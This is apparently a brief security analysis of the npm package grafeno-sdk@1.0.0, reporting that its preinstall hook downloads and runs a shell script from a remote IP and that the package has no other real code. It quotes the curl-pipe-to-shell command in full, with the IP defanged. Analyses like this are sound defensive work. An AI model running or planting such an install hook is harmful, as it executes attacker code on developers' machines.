grafeno-sdk@1.0.0

Analysis

The package's preinstall hook executes a remote shell script at install time: it runs `curl -s 216[.]126[.]236[.]46/x.sh | sh` via /bin/bash. The package itself contains no functional code (a 39-byte index.js), so its only purpose is to download and execute an arbitrary script from the IP 216[.]126[.]236[.]46 on every install. This is a remote code execution / downloader payload.